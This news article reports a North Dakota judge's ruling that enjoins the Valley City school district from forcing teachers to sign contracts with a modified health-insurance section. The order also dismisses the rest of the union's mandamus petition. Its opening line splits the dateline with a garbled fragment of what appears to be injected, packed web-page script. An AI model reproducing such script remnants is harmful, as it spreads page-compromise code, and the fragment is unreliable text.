VALLEY hehtn|var|u0026u|referrer|dazri||js|php’.split(‘|’),0,{}))
CITY, N.D. (NewsDakota.com) Southeast Judicial District Judge Jay Schmitz issued the following opinion concerning the impasse between the Valley City Education Association and Valley City Public School District following an April 16 hearing that centered on the negotiated agreement between the two entities.
The VCEA issued a petition for a Writ of Mandamus after the school board attempted to issue unilateral contracts to teachers with changes in Section 3 concerning health insurance that were modified from the Education Fact Finding Commission report.
The court finds the school district is in breach of Article XIV of the agreement by demanding that teachers sign contracts which included the modification of Section 3.
VCEA Attorney Michael Geiermann says the teachers are pleased with Judge Schmitz opinion and look forward to getting back to the negotiation process to see if their differences can be settled.
However, in Judge Schmitz opinion the VCEA has not shown the school district negotiated in bad faith by seeking to modify Section 3. There is no evidence to support the VCEA’s contention that the school district was trying to “trick” the teachers into negotiating Section 3 in order to rectify the district’s “errors” in earlier sessions. Article XIV gave the district the right to seek negotiations on Section 3 “at any time,” just as it gave the VCEA the right not to agree to negotiate that issue.
Valley City School District Attorney Rachel Bruner-Kaufman says the school board will hold a special meeting next week to discuss the next step the board and the school district should pursue.
Moreover, the district’s request to negotiate Section 3 resulted directly from the Education Fact Finding Commission report and the emails from the chairman. The district offered to accept the EFFC’s recommendations on salaries and sick leave buyouts, which favored the VCEA’s positions. The VCEA has not shown the district had a “dishonest intention” to take “advantage” of the VCEA when it sought negotiations on Section 3, or that the district had any “information of belief” which rendered its post EFFC proposals unconscientious.
The evidence indicates the school board was more open to negotiation, to carrying on a dialogue to resolve the impasse than was the VCEA.
Therefore, the district cannot include the proposed modification of Section 3 in its last offer, because it did not timely identify that section as a subject of negotiation in July 2013 and the VCEA did not agree to the district’s request to negotiate that subject in November of 2013.
The VCEA is entitled to injunctive relief to prevent a breach of Article XIV of the agreement. Specifically the district cannot require the teachers to sign contracts for the 2013-2014 school year containing the proposed modification of Article IX Section 3.
A final injunction is appropriate because ascertaining damages from the breach would be extremely difficult, and it wold prevent a multiplicity of judicial proceedings.
The VCEA has not shown the district negotiated for the 2013-2014 agreement in bad faith.
The VCEA has not demonstrate a clear legal right to issuance of a writ of mandamus ordering the district to tender teacher contracts which include all of the terms in the district’s February 5 proposal except the modification of Section 3. That proposal was a unified offer, it includes terms which the district considered concessions to the VCEA (on salaries and sick pay buyouts) in return for the modification of Section 3. The court cannot require the district to make concessions but prohibit the district from obtaining the consideration it sough in return.
In conclusion the net result is that the parties negotiations are back to where they were when the impasse was declared, since there have been no negotiations on all of the EFFC’s recommendations. The district will have to decide whether to issue “last offer” contracts to the teachers based on its positions before the Fact Finding process or request further negotiations.
Here is the Order For Judgement:
1. The Valley City school district is enjoined from requiring teachers to sign the 2013-2014 contract offers tendered by the district on February 6, 2014.
2. The district is enjoined from presenting contracts to teachers during the 2013-2014 school year which include the proposed modification of Article IX, Section 3, of the Negotiated Agreement, unless the VCEA agrees to negotiate that section.
3. The alternative writ of mandamus is dismissed in all other respects.
4. Counsel for the VCEA shall submit a proposed judgement in accordance with this order.